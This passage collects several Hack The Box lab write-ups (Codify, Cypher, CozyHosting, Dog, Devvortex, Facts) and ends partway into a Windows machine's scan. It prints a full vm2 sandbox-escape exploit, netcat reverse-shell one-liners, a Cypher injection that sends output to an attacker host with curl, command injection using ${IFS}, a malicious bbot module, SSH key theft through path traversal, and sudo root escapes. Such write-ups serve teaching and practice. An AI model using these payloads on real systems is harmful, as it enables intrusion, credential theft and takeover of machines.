|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
|_http-title: Codify
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 18 08:04:40 2025 -- 1 IP address (1 host up) scanned in 110.47 seconds

Enumeration

Port 80/HTTP

port 80 is open on target machine, let’s visit the website in firefox

Uh! so it requires hostname, let’s edit /etc/hosts file and add the codify.htb points to 10.10.11.239

after editing refresh the page

Ok so the website allows users to run their code in sandbox environment, let’s check it

let’s run the feroxbuster for files/directories fuzzing

we found interesting /limitations endpoint let’s navigate to /limitations

so it says some modules have been restricted to import and given the list of the whitelisted modules, it can be useful to search for specific module related code execution or exploit

whitelisted modules are:

url
crypto
util
events
assert
stream
path
os
zlib

we can use os module to retrieve hostname using below code

const os = require('node:os');
console.log("Hostname: " + os.hostname());

clicking on the About Us page we found the sandboxing library name used by the application

https://github.com/patriksimek/vm2/releases/tag/3.9.16

searching on google i found the sandbox escape vulnerability

https://www.exploit-db.com/exploits/51898

const { VM } = require("vm2");
const vm = new VM();

const command = 'id'; // Change to the desired command

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));

above code will escape the sandbox environment and run command through child_process module

Bingo!! it executed the command - id let’s get shell using busybox nc 10.10.14.17 443 -e /bin/bash and start listener on port 443 using rlwrap -r nc -nvlp 443

great we now have a shell, let’s get proper tty shell using,

python3 -c 'import pty;pty.spawn("/bin/bash");'

after gaining proper shell we start enumerating the system we found interesting /var/www/contact folder

it contains the sqlite database file let’s open databse using sqlite3 tickets.db command

to view the tables in the database use .tables

we found users table, use select * from users; and we found joshua user’s password

i’ll use john to crack the hash

john joshua.hash --wordlist=/usr/share/wordlists/rockyou.txt

nice we got the password for joshua user, let’s ssh to the machine

ssh joshua@10.10.11.239

after gaining access as joshua i’ll first check the sudo permissions using sudo -l command

we don’t have the write permissions to mysql-backup.sh file, let’s read the code of the script

Now when analyzing the file i found that the if-statement code block is not secure and can be bypass

now reading further i found that while comparing variable values in bash if the variable is not quoted then bash treats as the pattern matching instead of exect string matching so the thing is if you don't quote the variables , they will be compare as pattern and not as string, so the comparison can result true for example if the value of the a variable is anything like “_0xh3x” and the b variable can be the pattern or regex character ” * “ (wildcard) so this can cause bypassing of the if condition

let’s check this i’ll provide the password * and see if it bypass or not

and yes we can!! do the the so called bypassing of the password checking!!

now we bypassed the password so all commands get executed and we can monitor processes using pspy64 to get the db password

launch another session and load the pspy and execute the script

who says if you store passwords in the ENV vars hacker can’t see it we can!! 😈

let’s use this password for root and if not works i’ll use it to connect to mysql

and we are ROOT!

Cypher

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Cypher
OS Type: Linux
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Mon Jun 23 18:29:46 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up, received echo-reply ttl 63 (0.21s latency).
Scanned at 2025-06-23 18:29:53 IST for 79s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
|   256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 23 18:31:12 2025 -- 1 IP address (1 host up) scanned in 86.11 seconds

Enumeration

Port 80/HTTP

open URL in firefox and i redirected to cypher.htb

we don’t have added cypher.htb to /etc/hosts file so it will not able to find that site, let’s add the domain to /etc/hosts file

	echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts

and then refresh the page

hovering on button we found that it will redirect to cypher.htb/demo

clicking on it we redirected to login page so looks like first we need to login in order to access demo page

reading the source of main page i found possibly interesting HTML comment

let’s keep this info for now and move to directory bruteforcing

/testing directory looks fine, let’s check it out

let’s download it and unzip the jar file and see if we can find anything interesting

looks like many things related to neo4j, and the machine name itself cypher which refers to cypher injection

What is Cypher?

Cypher is short for Cypher Query Language
It’s Neo4j’s Graph query language that let’s you retrieve data from the graph, it’s like SQL for Graph database

now testing using basic payload

' or 1=1 RETURN c//

and other side we got the error message that confirms that the, after some trial-error i figured-out that the username field is looks vulnerable

i tried different payloads to get the credentials but not successful, let’s examine the jar file properly, i’ll use JD-GUI to decompile the jar file

https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

reading this CustomFunctions.class code looks like it is doing some curl request but we can see that it is just adding the url variable value so possibly we can pass ; with another command to get Command execution

after some trial and error i came up with below query i took some refernces and even hints

this confirms execution on our side

now i want to confirm that target machine has busybox present or not to do so i used the curl

admin' RETURN h.value AS hash UNION  CALL custom.getUrlStatusCode(\"http://10.10.14.12/0xh3x; curl http://10.10.14.12:8000/?`which busybox`\") YIELD statusCode AS hash RETURN hash;//

and on http server running on port 8000 i got the output of which busybox command

let’s get the shell now

busybox nc 10.10.14.12 443 -e /bin/bash

after gaining shell i use below python one-liner to upgrade the shell

python3 -c 'import pty;pty.spawn("/bin/bash");'

then i am enumerating system for useful information and found there’s graphasm user and found the credentials of that user in /home/graphasm/bbot_preset.yml

let’s su graphasm

i’ll login using SSH for better and stable shell, then i ran the sudo -l command to check the sudo permissions

let’s check if we have write permissions to /usr/local/bin/bbot

uppon searching on google i found that we can run arbitrary code in bbot using preset

https://github.com/Housma/bbot-privesc/

we need two files

preset.yml

description: System Info Recon Scan
module_dirs:
  - .
modules:
  - systeminfo_enum

and other file is

systeminfo_enum.py

from bbot.modules.base import BaseModule
import pty
import os

class systeminfo_enum(BaseModule):
    watched_events = []
    produced_events = []
    flags = ["safe", "passive"]
    meta = {"description": "System Info Recon (actually spawns root shell)"}

    async def setup(self):
        self.hugesuccess("📡 systeminfo_enum setup called — launching shell!")
        try:
            pty.spawn(["/bin/bash", "-p"])
        except Exception as e:
            self.error(f"❌ Shell failed: {e}")
        return True

and run it using sudo

sudo bbot -p ./perset.yml

CozyHosting

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: CozyHosting
OS type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEpNwlByWMKMm7ZgDWRW+WZ9uHc/0Ehct692T5VBBGaWhA71L+yFgM/SqhtUoy0bO8otHbpy3bPBFtmjqQPsbC8=
|   256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVzF8iMVIHgp9xMX9qxvbaoXVg1xkGLo61jXuUAYq5q
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

HTTP means we are dealing with web server, let’s visit the site in browser

Hmm, it requires hostname, i’ll quickly edit the /etc/hosts file to add the cozyhosting.htb entry and reload the page

let’s start files/dir fuzzing using gobuster, i’ll use quickhits.txt from seclists

gobuster dir -u http://cozyhosting.htb/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

let’s run the feroxbuster to find any directories or files recursively

feroxbuster --url http://cozyhosting.htb

However the /admin page redirects to /login

let’s visit the /actuator

env looks interesting to me let’s open the /actuator/env endpoint

the values of properties has been Hidden, after searching for this endpoint we found that newer versions of Boot spring Actuator hides values in /env endpoint, so deadend here

let’s visit the /actuator/session endpoint

possibly username - kanderson, but what is the hash? that is in key-value pair, this looks like JSESSIONID let’s check by putting this value into cookies

right click > inspect > storage tab go to cookies and add the value to JSESSIONID refresh the page we found that login button disappears, let’s visit the /admin page now

visiting the /admin page

i entered the hostname → cozyhosting and username → admin, i got following error

after some trail/error i found the command injection in username field, use below payload to confirm hsotname → cozyhosting and username → admin;id

you see that the error shows up for the /bin/bash, i’ll use burpsuite to send the request

now the problem is username is not accepting the whitespace, so uppon searching i found the ${IFS} variable

In shell scripting, especially in Bash, "${IFS}" represents the Internal Field Separator variable. This variable defines the characters that are used to split a string into individual words or tokens. By default, IFS includes whitespace characters like space, tab, and newline.

so i’ll start tcpdump in my kali machine to capture ICMP traffic

sudo tcpdump -i tun0 icmp -v

in username field use this payload - test;ping${IFS}-c${IFS}1${IFS}10.10.14.17;# i’ve added comment because it is appending @{hostname} after the username so the # will comment the rest of the command and it will not give us the error and command will successfully executed

after sending the request we received the ICMP echo request in tcpdump

It’s Time for Shell - $SHELL

let’s get proper TTY shell using python

python3 -c 'import pty;pty.spawn("/bin/bash");'

got the shell but no user.txt in our user’s directory, we found /home/josh directory maybe another user on the machine and we need to get access as josh to get user.txt

let’s search user’s directory /app

it’s a jar file i’ll copy this file to /tmp and check it’s permissions to check if we have any interesting permissions

now i’ll check for the any internal service running on the machine using ss -tunlp

ok so the postgres is running internally, and what is on 8080 it is the cozyhosting site, let’s check the nginx conf file to see what is actually it’s doing

Yes so it is passing proxy to the internal port 8080 and so it’s the same web app which is available on port 80

i tried to connect to postgres using it’s default creds - postgres:postgres

but no LUCK in that!

now let’s unzip the cloudhosting-0.0.1.jar in /tmp and grep for password using

grep -iR password

we found password in application.properties file, let’s search for this file The application.properties file is used to define application-related properties it is the conf file that may contains the sensitive info such as usernames and passwords, let’s read it

cat BOOT-INF/classes/application.properties

let’s note this credentials postgres:Vg&nvzAQ7XxR

now we have the credentials let’s connect to postgresql using psql command

psql -h 127.0.0.1 -U postgres -W

we can list databases in postgresql using \l command

if we want to use/connect to specific database i.e. cozyhosting in this case we can use \c <db-name>

after connecting to database we can list tables using \dt

so there are two tables users and hosts, users seems interesting to me, to select the data from table we can use select query

SELECT * FROM users;

i’ll copy admin’s hash to kali and use john to crack it

john admin.hash --wordlist=/usr/share/wordlists/rockyou.txt

let’s try this password for josh user in the system

Way to Root

let’s run sudo -l to see if josh has permissions to run any command as sudo

from GTFOBins i found - https://gtfobins.github.io/gtfobins/ssh/#sudo command to get root shell

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Dog

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Dog
OS Type: Linux
Difficulty: Linux

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Tue May  6 11:09:30 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.58
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
Nmap scan report for 10.10.11.58
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2025-05-06 11:09:31 IST for 104s
Not shown: 64980 closed tcp ports (reset), 553 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
|   256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May  6 11:11:15 2025 -- 1 IP address (1 host up) scanned in 104.91 seconds

Enumeration

Port 80/HTTP

http service is running on port 80, let’s visit the website in browser

in the footer section i found CMS name - backdrop cms

we found authenticated RCE vulnerability https://www.exploit-db.com/exploits/52021but we need valid creds to exploit this vulnerability

as nmap scan shows that the .git repository is exposed we’ll use git-dumper to dump the git repo into our local machine

git-dumper http://10.10.11.58/.git/ git

in settings.php i found the database credentials

but i tried with root user but it says unrecongnized user

if we carefully look at all blogs we can see that there’s username in all blogs, all are anonymous except one

let’s try this username

great now we know the valid username but the password for this user is not working

This was pure guess!!

grep -iR "@dog.htb"

we found the another username tiffiny

run the exploit

python3 52021.py http://10.10.11.58

to install the shell go to Functionality > Install New Module and then click Manual Installation

upload the shell.zip file

but upload was not successful as it requires the tar.gz file so open file manager

right click on folder and then Create archive it will create a tar.gz file

shell available on → http://10.10.11.58/modules/shell/shell.php

to get reverse shell i’ll start netcat listener on port 443 and use busybox nc 10.10.14.17 443 -e /bin/bash command

starting enumeration on the system i found 2 user’s home directory

checking open ports i found mysql is running let’s connect to mysql and look for any creds for these accounts

	ss -tunlp

as we already got the database creds from settings.php in git-dump directory

mysql -u root -pBackDropJ2024DS2024

list databases and select backdrop to run queries on

show databases;

then run show tables; to list tables, found uses table

select name,pass from users;

none of these hash can be cracked, let’s se SQL database password → BackDropJ2024DS2024

hydra -L users.txt -p 'BackDropJ2024DS2024' ssh://10.10.11.58

nice let’s ssh as johncusack

ssh johncusak@10.10.11.58

i’ll check if johncusack has permissions to run any command as sudo

sudo -l

i ran normally /usr/local/bin/bee

i found interesting eval function which run php code

sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash');"

Devvortex

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Devvortex
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

i’ll start my enumeration from HTTP let’s visit ip in web browser

we need to add the hostname to /etc/hosts file, and refresh the page

ok looks like the website of company

let’s check the web technologies using whatweb

whatweb http://devvortex.htb

let’s search for hidden files and directories using gobuster

gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

nothing interesting, let’s check if any files are found

gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt

as we see that nothing interesting found, now it’s only the static site my mind is now thinking about subdomain

i’ll use the wfuzz tool

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb"

let’s filter the output to get only valid subdomains we’ll exclude 154 characters using --hh 154

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" --hh 154

and here it is we found the dev subdomain let’s add dev.devvortex.htb in /etc/hosts file

let’s check the directories and files fuzzing

gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

ok so there are so many directories /plugins, /api and /administrator looks interesting let’s open /administrator

i tried common credentials on the login page like - admin:admin, admin:devvortex, devvortex:devvortex but none of them are working

upon searching on google i found the path of the xml file in which the joomla version information is stored

/administrator/manifests/files/joomla.xml

let’s open the file

we found the installed joomla version is 4.2.6 let’s search for any known exploit for it

https://www.exploit-db.com/exploits/51334

looks like this is useful for us let’s use the exploit and see if it is vulnerable to Unauthenticated Info Disclousure

let’s use searchsploit to copy the exploit to current working directory

searchsploit -m 51334

now the exploit is ruby so don’t get confused by the extension as it says py file, but for more clarity just rename the file

mv 51334.py 51334.rb

install dependencies

gem install httpx docopt paint

and then run the exploit

ruby 51334.rb http://dev.devvortex.htb

great we found the credentials

users:

lewis
logan paul (logan)

password:

P4ntherg0t1n5r3c0n##

let’s try to login in joomla administrator panel as lewis using above credentials

now as per hacktricks article we can get RCE from joomla Administrator panel → https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/joomla.html#:~:text=RCE,php%3Fcmd%3Did

in side menu click on System and then under templates, select Site Templates

and if the Templates section is not visible to you go to Global Configuration Under setup menu

go to templates > enable Preview Module positions save and again disable it and then save and close

go to sites templates

click on template name and it will open another code editor

select index.php and add the php reverse shell code here but saving it we found we don’t have write permissions to this file

let’s just create new file

give the name to file shell and select file type .php and paste our php reverse shell in shell.php

php reverse shell → https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

make sure to change the IP and port in shell.php

start the listener on port you’ve specified in the shell.php

to execute the shell visit - http://dev.devvortex.htb/templates/cassiopeia/shell.php

and we got the shell!

let’s upgrade this shell to TTY shell using python

python3 -c 'import pty;pty.spawn("/bin/bash");'

we found that there is user logan on the system

as we discovered the database credentials and the user logan was present in the mysql database let’s connect to mysql using leiws credentials

mysql -u lewis -p

after login we list the databases using show databases and then use joomla to select joomla database for run queries

then i ran the show tables; to view the tables in the database i found interesting sd4fg_users which possibly contains the login information of the users

let’s use the select query to extract data from database

select * from sd4fg_users;

i just copied password and save it to file then use john to crack the hash

john logan.hash --wordlist=/usr/share/wordlists/rockyou.txt

let’s ssh as logan using password → tequieromucho

ssh logan@10.10.11.242

Way to Root # CVE-2023-1326 - LPE in apport-cli

i always start my post enum with sudo -l command in linux

i didn’t found anything useful in GTFOBins but i found Local PrivEsc vulnerability CVE-2023-1326 in apport-cli

Note: Vulnerability works only if user is in sudoers group and has permission to run apport-cli as sudo → https://github.com/diego-tella/CVE-2023-1326-PoC

what causes the Vulnerability?

→ the default pager in apport-cli is less so if user has access to run apport-cli as sudo it can escalate privilege by abusing less pager and specifying !/bin/bash

now run the ps aux and note any process id i.e. 2002

run the apport-cli and specify the process id

sudo /usr/bin/apport-cli 2002

wait for 1-2 minutes and it will collect information from the process then select View Report (V)

when less pager appears run !/bin/bash

Facts

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Facts
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

Enumeration

Port 80/HTTP

we found http site running on the port 80, first we need the hostname to /etc/hosts file using

echo "10.129.19.195 facts.htb facts" | sudo tee -a /etc/hosts

and then visit the website

after running gobuster i found the admin panel link

gobuster dir -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

visiting the admin page we’ve found the following login page

we’ve tried the default creds such as admin:admin but was not working there was the option for the create an account so i’ve created the admin account and login with that

we can see that it is running camaleon CMS version 2.9.0

after searching lot i found https://vulners.com/githubexploit/300B85BE-7B44-50B4-AC2A-336B8AFD2D88

so we can see that this endpoint is vulnerable

i’ve tried this http://facts.htb//admin/media/download_private_file?file=../../../../../../etc/passwd

and we’ve got the /etc/passwd file downloaded on our system

we can see that there is 2 user’s in the system trivia and william, also we’ve noticed that SSH port was open on the target so let’s try to get the private key

we can do same by curl command but we need to specify the cookie as this is authenticated endpoint

curl http://facts.htb//admin/media/download_private_file?file=../../../../../../etc/passwd -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"

so first i’ll check the authorized_keys file for both users if any available so we can confirm which user has the access using SSH private key and what kind of keys they are using

curl http://facts.htb//admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"

we can confirm that the trivia user is using ssh key, let’s check if we can access the ssh private key or not

curl http://facts.htb//admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519 -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"

we can connect with the ssh using

ssh trivia@10.129.19.195 -i id_ed25519

oopps!! it requires the passphrase

to crack the passphrase we can use the ssh2johnand johntool

ssh2john id_ed25519 > hash

and then use john to crack the hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

ssh trivia@10.129.19.195 -i id_ed25519

enter the passphrase dragonballz

after login we’ve ran the sudo -l command

sudo -l

we’ve found that user trivia can run /usr/bin/facter using sudo as root without provide

after searching a bit i found the GTFObins (i don’t like new GTFOBins that’s why i used internet archive

https://web.archive.org/web/20250823012220/https://gtfobins.github.io/gtfobins/facter/#sudo

echo 'exec("/bin/bash")' > /tmp/root.rb

and then we can check the help for facter using facter -h

we can specify the custom dir to run the facts as it will run any ruby file from that directory i’ve specified the /tmp

sudo /usr/bin/facter --custom-dir /tmp

Bingo!!!! We’re ROOT!!

Escape

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Escape
OS type: Windows
Difficulty: Intermediate

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Wed Apr  9 13:13:38 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.202
Nmap scan report for 10.10.11.202
Host is up, received echo-reply ttl 127 (0.33s latency).
Scanned at 2025-04-09 13:13:39 EDT for 1457s
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-10 01:35:59Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:   ee4c:c647:ebb2:c23e:f472:1d70:2880:9d82
| SHA-1: d88d:12ae:8a50:fcf1:2242:909e:3dd7:5cff:92d1:a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
